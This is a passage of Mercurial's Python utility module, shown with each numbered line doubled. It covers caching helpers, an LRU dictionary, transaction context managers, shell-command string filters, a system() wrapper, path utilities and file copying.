557 cache = []
558 def f():
558 def f():
559 if len(cache) == 0:
559 if len(cache) == 0:
560 cache.append(func())
560 cache.append(func())
561 return cache[0]
561 return cache[0]
562 return f
562 return f
563 cache = {}
563 cache = {}
564 if func.__code__.co_argcount == 1:
564 if func.__code__.co_argcount == 1:
565 # we gain a small amount of time because
565 # we gain a small amount of time because
566 # we don't need to pack/unpack the list
566 # we don't need to pack/unpack the list
567 def f(arg):
567 def f(arg):
568 if arg not in cache:
568 if arg not in cache:
569 cache[arg] = func(arg)
569 cache[arg] = func(arg)
570 return cache[arg]
570 return cache[arg]
571 else:
571 else:
572 def f(*args):
572 def f(*args):
573 if args not in cache:
573 if args not in cache:
574 cache[args] = func(*args)
574 cache[args] = func(*args)
575 return cache[args]
575 return cache[args]
576
576
577 return f
577 return f
578
578
579 class sortdict(collections.OrderedDict):
579 class sortdict(collections.OrderedDict):
580 '''a simple sorted dictionary
580 '''a simple sorted dictionary
581
581
582 >>> d1 = sortdict([('a', 0), ('b', 1)])
582 >>> d1 = sortdict([('a', 0), ('b', 1)])
583 >>> d2 = d1.copy()
583 >>> d2 = d1.copy()
584 >>> d2
584 >>> d2
585 sortdict([('a', 0), ('b', 1)])
585 sortdict([('a', 0), ('b', 1)])
586 >>> d2.update([('a', 2)])
586 >>> d2.update([('a', 2)])
587 >>> d2.keys() # should still be in last-set order
587 >>> d2.keys() # should still be in last-set order
588 ['b', 'a']
588 ['b', 'a']
589 '''
589 '''
590
590
591 def __setitem__(self, key, value):
591 def __setitem__(self, key, value):
592 if key in self:
592 if key in self:
593 del self[key]
593 del self[key]
594 super(sortdict, self).__setitem__(key, value)
594 super(sortdict, self).__setitem__(key, value)
595
595
596 if pycompat.ispypy:
596 if pycompat.ispypy:
597 # __setitem__() isn't called as of PyPy 5.8.0
597 # __setitem__() isn't called as of PyPy 5.8.0
598 def update(self, src):
598 def update(self, src):
599 if isinstance(src, dict):
599 if isinstance(src, dict):
600 src = src.iteritems()
600 src = src.iteritems()
601 for k, v in src:
601 for k, v in src:
602 self[k] = v
602 self[k] = v
603
603
604 class transactional(object):
604 class transactional(object):
605 """Base class for making a transactional type into a context manager."""
605 """Base class for making a transactional type into a context manager."""
606 __metaclass__ = abc.ABCMeta
606 __metaclass__ = abc.ABCMeta
607
607
608 @abc.abstractmethod
608 @abc.abstractmethod
609 def close(self):
609 def close(self):
610 """Successfully closes the transaction."""
610 """Successfully closes the transaction."""
611
611
612 @abc.abstractmethod
612 @abc.abstractmethod
613 def release(self):
613 def release(self):
614 """Marks the end of the transaction.
614 """Marks the end of the transaction.
615
615
616 If the transaction has not been closed, it will be aborted.
616 If the transaction has not been closed, it will be aborted.
617 """
617 """
618
618
619 def __enter__(self):
619 def __enter__(self):
620 return self
620 return self
621
621
622 def __exit__(self, exc_type, exc_val, exc_tb):
622 def __exit__(self, exc_type, exc_val, exc_tb):
623 try:
623 try:
624 if exc_type is None:
624 if exc_type is None:
625 self.close()
625 self.close()
626 finally:
626 finally:
627 self.release()
627 self.release()
628
628
629 @contextlib.contextmanager
629 @contextlib.contextmanager
630 def acceptintervention(tr=None):
630 def acceptintervention(tr=None):
631 """A context manager that closes the transaction on InterventionRequired
631 """A context manager that closes the transaction on InterventionRequired
632
632
633 If no transaction was provided, this simply runs the body and returns
633 If no transaction was provided, this simply runs the body and returns
634 """
634 """
635 if not tr:
635 if not tr:
636 yield
636 yield
637 return
637 return
638 try:
638 try:
639 yield
639 yield
640 tr.close()
640 tr.close()
641 except error.InterventionRequired:
641 except error.InterventionRequired:
642 tr.close()
642 tr.close()
643 raise
643 raise
644 finally:
644 finally:
645 tr.release()
645 tr.release()
646
646
647 @contextlib.contextmanager
647 @contextlib.contextmanager
648 def nullcontextmanager():
648 def nullcontextmanager():
649 yield
649 yield
650
650
651 class _lrucachenode(object):
651 class _lrucachenode(object):
652 """A node in a doubly linked list.
652 """A node in a doubly linked list.
653
653
654 Holds a reference to nodes on either side as well as a key-value
654 Holds a reference to nodes on either side as well as a key-value
655 pair for the dictionary entry.
655 pair for the dictionary entry.
656 """
656 """
657 __slots__ = (u'next', u'prev', u'key', u'value')
657 __slots__ = (u'next', u'prev', u'key', u'value')
658
658
659 def __init__(self):
659 def __init__(self):
660 self.next = None
660 self.next = None
661 self.prev = None
661 self.prev = None
662
662
663 self.key = _notset
663 self.key = _notset
664 self.value = None
664 self.value = None
665
665
666 def markempty(self):
666 def markempty(self):
667 """Mark the node as emptied."""
667 """Mark the node as emptied."""
668 self.key = _notset
668 self.key = _notset
669
669
670 class lrucachedict(object):
670 class lrucachedict(object):
671 """Dict that caches most recent accesses and sets.
671 """Dict that caches most recent accesses and sets.
672
672
673 The dict consists of an actual backing dict - indexed by original
673 The dict consists of an actual backing dict - indexed by original
674 key - and a doubly linked circular list defining the order of entries in
674 key - and a doubly linked circular list defining the order of entries in
675 the cache.
675 the cache.
676
676
677 The head node is the newest entry in the cache. If the cache is full,
677 The head node is the newest entry in the cache. If the cache is full,
678 we recycle head.prev and make it the new head. Cache accesses result in
678 we recycle head.prev and make it the new head. Cache accesses result in
679 the node being moved to before the existing head and being marked as the
679 the node being moved to before the existing head and being marked as the
680 new head node.
680 new head node.
681 """
681 """
682 def __init__(self, max):
682 def __init__(self, max):
683 self._cache = {}
683 self._cache = {}
684
684
685 self._head = head = _lrucachenode()
685 self._head = head = _lrucachenode()
686 head.prev = head
686 head.prev = head
687 head.next = head
687 head.next = head
688 self._size = 1
688 self._size = 1
689 self._capacity = max
689 self._capacity = max
690
690
691 def __len__(self):
691 def __len__(self):
692 return len(self._cache)
692 return len(self._cache)
693
693
694 def __contains__(self, k):
694 def __contains__(self, k):
695 return k in self._cache
695 return k in self._cache
696
696
697 def __iter__(self):
697 def __iter__(self):
698 # We don't have to iterate in cache order, but why not.
698 # We don't have to iterate in cache order, but why not.
699 n = self._head
699 n = self._head
700 for i in range(len(self._cache)):
700 for i in range(len(self._cache)):
701 yield n.key
701 yield n.key
702 n = n.next
702 n = n.next
703
703
704 def __getitem__(self, k):
704 def __getitem__(self, k):
705 node = self._cache[k]
705 node = self._cache[k]
706 self._movetohead(node)
706 self._movetohead(node)
707 return node.value
707 return node.value
708
708
709 def __setitem__(self, k, v):
709 def __setitem__(self, k, v):
710 node = self._cache.get(k)
710 node = self._cache.get(k)
711 # Replace existing value and mark as newest.
711 # Replace existing value and mark as newest.
712 if node is not None:
712 if node is not None:
713 node.value = v
713 node.value = v
714 self._movetohead(node)
714 self._movetohead(node)
715 return
715 return
716
716
717 if self._size < self._capacity:
717 if self._size < self._capacity:
718 node = self._addcapacity()
718 node = self._addcapacity()
719 else:
719 else:
720 # Grab the last/oldest item.
720 # Grab the last/oldest item.
721 node = self._head.prev
721 node = self._head.prev
722
722
723 # At capacity. Kill the old entry.
723 # At capacity. Kill the old entry.
724 if node.key is not _notset:
724 if node.key is not _notset:
725 del self._cache[node.key]
725 del self._cache[node.key]
726
726
727 node.key = k
727 node.key = k
728 node.value = v
728 node.value = v
729 self._cache[k] = node
729 self._cache[k] = node
730 # And mark it as newest entry. No need to adjust order since it
730 # And mark it as newest entry. No need to adjust order since it
731 # is already self._head.prev.
731 # is already self._head.prev.
732 self._head = node
732 self._head = node
733
733
734 def __delitem__(self, k):
734 def __delitem__(self, k):
735 node = self._cache.pop(k)
735 node = self._cache.pop(k)
736 node.markempty()
736 node.markempty()
737
737
738 # Temporarily mark as newest item before re-adjusting head to make
738 # Temporarily mark as newest item before re-adjusting head to make
739 # this node the oldest item.
739 # this node the oldest item.
740 self._movetohead(node)
740 self._movetohead(node)
741 self._head = node.next
741 self._head = node.next
742
742
743 # Additional dict methods.
743 # Additional dict methods.
744
744
745 def get(self, k, default=None):
745 def get(self, k, default=None):
746 try:
746 try:
747 return self._cache[k].value
747 return self._cache[k].value
748 except KeyError:
748 except KeyError:
749 return default
749 return default
750
750
751 def clear(self):
751 def clear(self):
752 n = self._head
752 n = self._head
753 while n.key is not _notset:
753 while n.key is not _notset:
754 n.markempty()
754 n.markempty()
755 n = n.next
755 n = n.next
756
756
757 self._cache.clear()
757 self._cache.clear()
758
758
759 def copy(self):
759 def copy(self):
760 result = lrucachedict(self._capacity)
760 result = lrucachedict(self._capacity)
761 n = self._head.prev
761 n = self._head.prev
762 # Iterate in oldest-to-newest order, so the copy has the right ordering
762 # Iterate in oldest-to-newest order, so the copy has the right ordering
763 for i in range(len(self._cache)):
763 for i in range(len(self._cache)):
764 result[n.key] = n.value
764 result[n.key] = n.value
765 n = n.prev
765 n = n.prev
766 return result
766 return result
767
767
768 def _movetohead(self, node):
768 def _movetohead(self, node):
769 """Mark a node as the newest, making it the new head.
769 """Mark a node as the newest, making it the new head.
770
770
771 When a node is accessed, it becomes the freshest entry in the LRU
771 When a node is accessed, it becomes the freshest entry in the LRU
772 list, which is denoted by self._head.
772 list, which is denoted by self._head.
773
773
774 Visually, let's make ``N`` the new head node (* denotes head):
774 Visually, let's make ``N`` the new head node (* denotes head):
775
775
776 previous/oldest <-> head <-> next/next newest
776 previous/oldest <-> head <-> next/next newest
777
777
778 ----<->--- A* ---<->-----
778 ----<->--- A* ---<->-----
779 | |
779 | |
780 E <-> D <-> N <-> C <-> B
780 E <-> D <-> N <-> C <-> B
781
781
782 To:
782 To:
783
783
784 ----<->--- N* ---<->-----
784 ----<->--- N* ---<->-----
785 | |
785 | |
786 E <-> D <-> C <-> B <-> A
786 E <-> D <-> C <-> B <-> A
787
787
788 This requires the following moves:
788 This requires the following moves:
789
789
790 C.next = D (node.prev.next = node.next)
790 C.next = D (node.prev.next = node.next)
791 D.prev = C (node.next.prev = node.prev)
791 D.prev = C (node.next.prev = node.prev)
792 E.next = N (head.prev.next = node)
792 E.next = N (head.prev.next = node)
793 N.prev = E (node.prev = head.prev)
793 N.prev = E (node.prev = head.prev)
794 N.next = A (node.next = head)
794 N.next = A (node.next = head)
795 A.prev = N (head.prev = node)
795 A.prev = N (head.prev = node)
796 """
796 """
797 head = self._head
797 head = self._head
798 # C.next = D
798 # C.next = D
799 node.prev.next = node.next
799 node.prev.next = node.next
800 # D.prev = C
800 # D.prev = C
801 node.next.prev = node.prev
801 node.next.prev = node.prev
802 # N.prev = E
802 # N.prev = E
803 node.prev = head.prev
803 node.prev = head.prev
804 # N.next = A
804 # N.next = A
805 # It is tempting to do just "head" here, however if node is
805 # It is tempting to do just "head" here, however if node is
806 # adjacent to head, this will do bad things.
806 # adjacent to head, this will do bad things.
807 node.next = head.prev.next
807 node.next = head.prev.next
808 # E.next = N
808 # E.next = N
809 node.next.prev = node
809 node.next.prev = node
810 # A.prev = N
810 # A.prev = N
811 node.prev.next = node
811 node.prev.next = node
812
812
813 self._head = node
813 self._head = node
814
814
815 def _addcapacity(self):
815 def _addcapacity(self):
816 """Add a node to the circular linked list.
816 """Add a node to the circular linked list.
817
817
818 The new node is inserted before the head node.
818 The new node is inserted before the head node.
819 """
819 """
820 head = self._head
820 head = self._head
821 node = _lrucachenode()
821 node = _lrucachenode()
822 head.prev.next = node
822 head.prev.next = node
823 node.prev = head.prev
823 node.prev = head.prev
824 node.next = head
824 node.next = head
825 head.prev = node
825 head.prev = node
826 self._size += 1
826 self._size += 1
827 return node
827 return node
828
828
829 def lrucachefunc(func):
829 def lrucachefunc(func):
830 '''cache most recent results of function calls'''
830 '''cache most recent results of function calls'''
831 cache = {}
831 cache = {}
832 order = collections.deque()
832 order = collections.deque()
833 if func.__code__.co_argcount == 1:
833 if func.__code__.co_argcount == 1:
834 def f(arg):
834 def f(arg):
835 if arg not in cache:
835 if arg not in cache:
836 if len(cache) > 20:
836 if len(cache) > 20:
837 del cache[order.popleft()]
837 del cache[order.popleft()]
838 cache[arg] = func(arg)
838 cache[arg] = func(arg)
839 else:
839 else:
840 order.remove(arg)
840 order.remove(arg)
841 order.append(arg)
841 order.append(arg)
842 return cache[arg]
842 return cache[arg]
843 else:
843 else:
844 def f(*args):
844 def f(*args):
845 if args not in cache:
845 if args not in cache:
846 if len(cache) > 20:
846 if len(cache) > 20:
847 del cache[order.popleft()]
847 del cache[order.popleft()]
848 cache[args] = func(*args)
848 cache[args] = func(*args)
849 else:
849 else:
850 order.remove(args)
850 order.remove(args)
851 order.append(args)
851 order.append(args)
852 return cache[args]
852 return cache[args]
853
853
854 return f
854 return f
855
855
856 class propertycache(object):
856 class propertycache(object):
857 def __init__(self, func):
857 def __init__(self, func):
858 self.func = func
858 self.func = func
859 self.name = func.__name__
859 self.name = func.__name__
860 def __get__(self, obj, type=None):
860 def __get__(self, obj, type=None):
861 result = self.func(obj)
861 result = self.func(obj)
862 self.cachevalue(obj, result)
862 self.cachevalue(obj, result)
863 return result
863 return result
864
864
865 def cachevalue(self, obj, value):
865 def cachevalue(self, obj, value):
866 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
866 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
867 obj.__dict__[self.name] = value
867 obj.__dict__[self.name] = value
868
868
869 def pipefilter(s, cmd):
869 def pipefilter(s, cmd):
870 '''filter string S through command CMD, returning its output'''
870 '''filter string S through command CMD, returning its output'''
871 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
871 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
872 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
872 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
873 pout, perr = p.communicate(s)
873 pout, perr = p.communicate(s)
874 return pout
874 return pout
875
875
876 def tempfilter(s, cmd):
876 def tempfilter(s, cmd):
877 '''filter string S through a pair of temporary files with CMD.
877 '''filter string S through a pair of temporary files with CMD.
878 CMD is used as a template to create the real command to be run,
878 CMD is used as a template to create the real command to be run,
879 with the strings INFILE and OUTFILE replaced by the real names of
879 with the strings INFILE and OUTFILE replaced by the real names of
880 the temporary files generated.'''
880 the temporary files generated.'''
881 inname, outname = None, None
881 inname, outname = None, None
882 try:
882 try:
883 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
883 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
884 fp = os.fdopen(infd, pycompat.sysstr('wb'))
884 fp = os.fdopen(infd, pycompat.sysstr('wb'))
885 fp.write(s)
885 fp.write(s)
886 fp.close()
886 fp.close()
887 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
887 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
888 os.close(outfd)
888 os.close(outfd)
889 cmd = cmd.replace('INFILE', inname)
889 cmd = cmd.replace('INFILE', inname)
890 cmd = cmd.replace('OUTFILE', outname)
890 cmd = cmd.replace('OUTFILE', outname)
891 code = os.system(cmd)
891 code = os.system(cmd)
892 if pycompat.sysplatform == 'OpenVMS' and code & 1:
892 if pycompat.sysplatform == 'OpenVMS' and code & 1:
893 code = 0
893 code = 0
894 if code:
894 if code:
895 raise Abort(_("command '%s' failed: %s") %
895 raise Abort(_("command '%s' failed: %s") %
896 (cmd, explainexit(code)))
896 (cmd, explainexit(code)))
897 return readfile(outname)
897 return readfile(outname)
898 finally:
898 finally:
899 try:
899 try:
900 if inname:
900 if inname:
901 os.unlink(inname)
901 os.unlink(inname)
902 except OSError:
902 except OSError:
903 pass
903 pass
904 try:
904 try:
905 if outname:
905 if outname:
906 os.unlink(outname)
906 os.unlink(outname)
907 except OSError:
907 except OSError:
908 pass
908 pass
909
909
910 filtertable = {
910 filtertable = {
911 'tempfile:': tempfilter,
911 'tempfile:': tempfilter,
912 'pipe:': pipefilter,
912 'pipe:': pipefilter,
913 }
913 }
914
914
915 def filter(s, cmd):
915 def filter(s, cmd):
916 "filter a string through a command that transforms its input to its output"
916 "filter a string through a command that transforms its input to its output"
917 for name, fn in filtertable.iteritems():
917 for name, fn in filtertable.iteritems():
918 if cmd.startswith(name):
918 if cmd.startswith(name):
919 return fn(s, cmd[len(name):].lstrip())
919 return fn(s, cmd[len(name):].lstrip())
920 return pipefilter(s, cmd)
920 return pipefilter(s, cmd)
921
921
922 def binary(s):
922 def binary(s):
923 """return true if a string is binary data"""
923 """return true if a string is binary data"""
924 return bool(s and '\0' in s)
924 return bool(s and '\0' in s)
925
925
926 def increasingchunks(source, min=1024, max=65536):
926 def increasingchunks(source, min=1024, max=65536):
927 '''return no less than min bytes per chunk while data remains,
927 '''return no less than min bytes per chunk while data remains,
928 doubling min after each chunk until it reaches max'''
928 doubling min after each chunk until it reaches max'''
929 def log2(x):
929 def log2(x):
930 if not x:
930 if not x:
931 return 0
931 return 0
932 i = 0
932 i = 0
933 while x:
933 while x:
934 x >>= 1
934 x >>= 1
935 i += 1
935 i += 1
936 return i - 1
936 return i - 1
937
937
938 buf = []
938 buf = []
939 blen = 0
939 blen = 0
940 for chunk in source:
940 for chunk in source:
941 buf.append(chunk)
941 buf.append(chunk)
942 blen += len(chunk)
942 blen += len(chunk)
943 if blen >= min:
943 if blen >= min:
944 if min < max:
944 if min < max:
945 min = min << 1
945 min = min << 1
946 nmin = 1 << log2(blen)
946 nmin = 1 << log2(blen)
947 if nmin > min:
947 if nmin > min:
948 min = nmin
948 min = nmin
949 if min > max:
949 if min > max:
950 min = max
950 min = max
951 yield ''.join(buf)
951 yield ''.join(buf)
952 blen = 0
952 blen = 0
953 buf = []
953 buf = []
954 if buf:
954 if buf:
955 yield ''.join(buf)
955 yield ''.join(buf)
956
956
957 Abort = error.Abort
957 Abort = error.Abort
958
958
959 def always(fn):
959 def always(fn):
960 return True
960 return True
961
961
962 def never(fn):
962 def never(fn):
963 return False
963 return False
964
964
965 def nogc(func):
965 def nogc(func):
966 """disable garbage collector
966 """disable garbage collector
967
967
968 Python's garbage collector triggers a GC each time a certain number of
968 Python's garbage collector triggers a GC each time a certain number of
969 container objects (the number being defined by gc.get_threshold()) are
969 container objects (the number being defined by gc.get_threshold()) are
970 allocated even when marked not to be tracked by the collector. Tracking has
970 allocated even when marked not to be tracked by the collector. Tracking has
971 no effect on when GCs are triggered, only on what objects the GC looks
971 no effect on when GCs are triggered, only on what objects the GC looks
972 into. As a workaround, disable GC while building complex (huge)
972 into. As a workaround, disable GC while building complex (huge)
973 containers.
973 containers.
974
974
975 This garbage collector issue have been fixed in 2.7. But it still affect
975 This garbage collector issue have been fixed in 2.7. But it still affect
976 CPython's performance.
976 CPython's performance.
977 """
977 """
978 def wrapper(*args, **kwargs):
978 def wrapper(*args, **kwargs):
979 gcenabled = gc.isenabled()
979 gcenabled = gc.isenabled()
980 gc.disable()
980 gc.disable()
981 try:
981 try:
982 return func(*args, **kwargs)
982 return func(*args, **kwargs)
983 finally:
983 finally:
984 if gcenabled:
984 if gcenabled:
985 gc.enable()
985 gc.enable()
986 return wrapper
986 return wrapper
987
987
988 if pycompat.ispypy:
988 if pycompat.ispypy:
989 # PyPy runs slower with gc disabled
989 # PyPy runs slower with gc disabled
990 nogc = lambda x: x
990 nogc = lambda x: x
991
991
992 def pathto(root, n1, n2):
992 def pathto(root, n1, n2):
993 '''return the relative path from one place to another.
993 '''return the relative path from one place to another.
994 root should use os.sep to separate directories
994 root should use os.sep to separate directories
995 n1 should use os.sep to separate directories
995 n1 should use os.sep to separate directories
996 n2 should use "/" to separate directories
996 n2 should use "/" to separate directories
997 returns an os.sep-separated path.
997 returns an os.sep-separated path.
998
998
999 If n1 is a relative path, it's assumed it's
999 If n1 is a relative path, it's assumed it's
1000 relative to root.
1000 relative to root.
1001 n2 should always be relative to root.
1001 n2 should always be relative to root.
1002 '''
1002 '''
1003 if not n1:
1003 if not n1:
1004 return localpath(n2)
1004 return localpath(n2)
1005 if os.path.isabs(n1):
1005 if os.path.isabs(n1):
1006 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1006 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1007 return os.path.join(root, localpath(n2))
1007 return os.path.join(root, localpath(n2))
1008 n2 = '/'.join((pconvert(root), n2))
1008 n2 = '/'.join((pconvert(root), n2))
1009 a, b = splitpath(n1), n2.split('/')
1009 a, b = splitpath(n1), n2.split('/')
1010 a.reverse()
1010 a.reverse()
1011 b.reverse()
1011 b.reverse()
1012 while a and b and a[-1] == b[-1]:
1012 while a and b and a[-1] == b[-1]:
1013 a.pop()
1013 a.pop()
1014 b.pop()
1014 b.pop()
1015 b.reverse()
1015 b.reverse()
1016 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1016 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1017
1017
1018 def mainfrozen():
1018 def mainfrozen():
1019 """return True if we are a frozen executable.
1019 """return True if we are a frozen executable.
1020
1020
1021 The code supports py2exe (most common, Windows only) and tools/freeze
1021 The code supports py2exe (most common, Windows only) and tools/freeze
1022 (portable, not much used).
1022 (portable, not much used).
1023 """
1023 """
1024 return (safehasattr(sys, "frozen") or # new py2exe
1024 return (safehasattr(sys, "frozen") or # new py2exe
1025 safehasattr(sys, "importers") or # old py2exe
1025 safehasattr(sys, "importers") or # old py2exe
1026 imp.is_frozen(u"__main__")) # tools/freeze
1026 imp.is_frozen(u"__main__")) # tools/freeze
1027
1027
1028 # the location of data files matching the source code
1028 # the location of data files matching the source code
1029 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1029 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1030 # executable version (py2exe) doesn't support __file__
1030 # executable version (py2exe) doesn't support __file__
1031 datapath = os.path.dirname(pycompat.sysexecutable)
1031 datapath = os.path.dirname(pycompat.sysexecutable)
1032 else:
1032 else:
1033 datapath = os.path.dirname(pycompat.fsencode(__file__))
1033 datapath = os.path.dirname(pycompat.fsencode(__file__))
1034
1034
1035 i18n.setdatapath(datapath)
1035 i18n.setdatapath(datapath)
1036
1036
1037 _hgexecutable = None
1037 _hgexecutable = None
1038
1038
1039 def hgexecutable():
1039 def hgexecutable():
1040 """return location of the 'hg' executable.
1040 """return location of the 'hg' executable.
1041
1041
1042 Defaults to $HG or 'hg' in the search path.
1042 Defaults to $HG or 'hg' in the search path.
1043 """
1043 """
1044 if _hgexecutable is None:
1044 if _hgexecutable is None:
1045 hg = encoding.environ.get('HG')
1045 hg = encoding.environ.get('HG')
1046 mainmod = sys.modules[pycompat.sysstr('__main__')]
1046 mainmod = sys.modules[pycompat.sysstr('__main__')]
1047 if hg:
1047 if hg:
1048 _sethgexecutable(hg)
1048 _sethgexecutable(hg)
1049 elif mainfrozen():
1049 elif mainfrozen():
1050 if getattr(sys, 'frozen', None) == 'macosx_app':
1050 if getattr(sys, 'frozen', None) == 'macosx_app':
1051 # Env variable set by py2app
1051 # Env variable set by py2app
1052 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1052 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1053 else:
1053 else:
1054 _sethgexecutable(pycompat.sysexecutable)
1054 _sethgexecutable(pycompat.sysexecutable)
1055 elif (os.path.basename(
1055 elif (os.path.basename(
1056 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1056 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1057 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1057 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1058 else:
1058 else:
1059 exe = findexe('hg') or os.path.basename(sys.argv[0])
1059 exe = findexe('hg') or os.path.basename(sys.argv[0])
1060 _sethgexecutable(exe)
1060 _sethgexecutable(exe)
1061 return _hgexecutable
1061 return _hgexecutable
1062
1062
1063 def _sethgexecutable(path):
1063 def _sethgexecutable(path):
1064 """set location of the 'hg' executable"""
1064 """set location of the 'hg' executable"""
1065 global _hgexecutable
1065 global _hgexecutable
1066 _hgexecutable = path
1066 _hgexecutable = path
1067
1067
1068 def _isstdout(f):
1068 def _isstdout(f):
1069 fileno = getattr(f, 'fileno', None)
1069 fileno = getattr(f, 'fileno', None)
1070 return fileno and fileno() == sys.__stdout__.fileno()
1070 return fileno and fileno() == sys.__stdout__.fileno()
1071
1071
1072 def shellenviron(environ=None):
1072 def shellenviron(environ=None):
1073 """return environ with optional override, useful for shelling out"""
1073 """return environ with optional override, useful for shelling out"""
1074 def py2shell(val):
1074 def py2shell(val):
1075 'convert python object into string that is useful to shell'
1075 'convert python object into string that is useful to shell'
1076 if val is None or val is False:
1076 if val is None or val is False:
1077 return '0'
1077 return '0'
1078 if val is True:
1078 if val is True:
1079 return '1'
1079 return '1'
1080 return str(val)
1080 return str(val)
1081 env = dict(encoding.environ)
1081 env = dict(encoding.environ)
1082 if environ:
1082 if environ:
1083 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1083 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1084 env['HG'] = hgexecutable()
1084 env['HG'] = hgexecutable()
1085 return env
1085 return env
1086
1086
1087 def system(cmd, environ=None, cwd=None, out=None):
1087 def system(cmd, environ=None, cwd=None, out=None):
1088 '''enhanced shell command execution.
1088 '''enhanced shell command execution.
1089 run with environment maybe modified, maybe in different dir.
1089 run with environment maybe modified, maybe in different dir.
1090
1090
1091 if out is specified, it is assumed to be a file-like object that has a
1091 if out is specified, it is assumed to be a file-like object that has a
1092 write() method. stdout and stderr will be redirected to out.'''
1092 write() method. stdout and stderr will be redirected to out.'''
1093 try:
1093 try:
1094 stdout.flush()
1094 stdout.flush()
1095 except Exception:
1095 except Exception:
1096 pass
1096 pass
1097 cmd = quotecommand(cmd)
1097 cmd = quotecommand(cmd)
1098 env = shellenviron(environ)
1098 env = shellenviron(environ)
1099 if out is None or _isstdout(out):
1099 if out is None or _isstdout(out):
1100 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1100 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1101 env=env, cwd=cwd)
1101 env=env, cwd=cwd)
1102 else:
1102 else:
1103 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1103 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1104 env=env, cwd=cwd, stdout=subprocess.PIPE,
1104 env=env, cwd=cwd, stdout=subprocess.PIPE,
1105 stderr=subprocess.STDOUT)
1105 stderr=subprocess.STDOUT)
1106 for line in iter(proc.stdout.readline, ''):
1106 for line in iter(proc.stdout.readline, ''):
1107 out.write(line)
1107 out.write(line)
1108 proc.wait()
1108 proc.wait()
1109 rc = proc.returncode
1109 rc = proc.returncode
1110 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1110 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1111 rc = 0
1111 rc = 0
1112 return rc
1112 return rc
1113
1113
1114 def checksignature(func):
1114 def checksignature(func):
1115 '''wrap a function with code to check for calling errors'''
1115 '''wrap a function with code to check for calling errors'''
1116 def check(*args, **kwargs):
1116 def check(*args, **kwargs):
1117 try:
1117 try:
1118 return func(*args, **kwargs)
1118 return func(*args, **kwargs)
1119 except TypeError:
1119 except TypeError:
1120 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1120 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1121 raise error.SignatureError
1121 raise error.SignatureError
1122 raise
1122 raise
1123
1123
1124 return check
1124 return check
1125
1125
1126 # a whilelist of known filesystems where hardlink works reliably
1126 # a whilelist of known filesystems where hardlink works reliably
1127 _hardlinkfswhitelist = {
1127 _hardlinkfswhitelist = {
1128 'btrfs',
1128 'btrfs',
1129 'ext2',
1129 'ext2',
1130 'ext3',
1130 'ext3',
1131 'ext4',
1131 'ext4',
1132 'hfs',
1132 'hfs',
1133 'jfs',
1133 'jfs',
1134 'reiserfs',
1134 'reiserfs',
1135 'tmpfs',
1135 'tmpfs',
1136 'ufs',
1136 'ufs',
1137 'xfs',
1137 'xfs',
1138 'zfs',
1138 'zfs',
1139 }
1139 }
1140
1140
1141 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1141 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1142 '''copy a file, preserving mode and optionally other stat info like
1142 '''copy a file, preserving mode and optionally other stat info like
1143 atime/mtime
1143 atime/mtime
1144
1144
1145 checkambig argument is used with filestat, and is useful only if
1145 checkambig argument is used with filestat, and is useful only if
1146 destination file is guarded by any lock (e.g. repo.lock or
1146 destination file is guarded by any lock (e.g. repo.lock or
1147 repo.wlock).
1147 repo.wlock).
1148
1148
1149 copystat and checkambig should be exclusive.
1149 copystat and checkambig should be exclusive.
1150 '''
1150 '''
1151 assert not (copystat and checkambig)
1151 assert not (copystat and checkambig)
1152 oldstat = None
1152 oldstat = None
1153 if os.path.lexists(dest):
1153 if os.path.lexists(dest):
1154 if checkambig:
1154 if checkambig:
1155 oldstat = checkambig and filestat.frompath(dest)
1155 oldstat = checkambig and filestat.frompath(dest)
1156 unlink(dest)
1156 unlink(dest)
1157 if hardlink:
1157 if hardlink:
1158 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1158 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1159 # unless we are confident that dest is on a whitelisted filesystem.
1159 # unless we are confident that dest is on a whitelisted filesystem.
1160 try:
1160 try:
1161 fstype = getfstype(os.path.dirname(dest))
1161 fstype = getfstype(os.path.dirname(dest))
1162 except OSError:
1162 except OSError:
1163 fstype = None
1163 fstype = None
1164 if fstype not in _hardlinkfswhitelist:
1164 if fstype not in _hardlinkfswhitelist:
1165 hardlink = False
1165 hardlink = False
1166 if hardlink:
1166 if hardlink:
1167 try:
1167 try:
1168 oslink(src, dest)
1168 oslink(src, dest)
1169 return
1169 return
1170 except (IOError, OSError):
1170 except (IOError, OSError):
1171 pass # fall back to normal copy
1171 pass # fall back to normal copy
1172 if os.path.islink(src):
1172 if os.path.islink(src):
1173 os.symlink(os.readlink(src), dest)
1173 os.symlink(os.readlink(src), dest)
1174 # copytime is ignored for symlinks, but in general copytime isn't needed
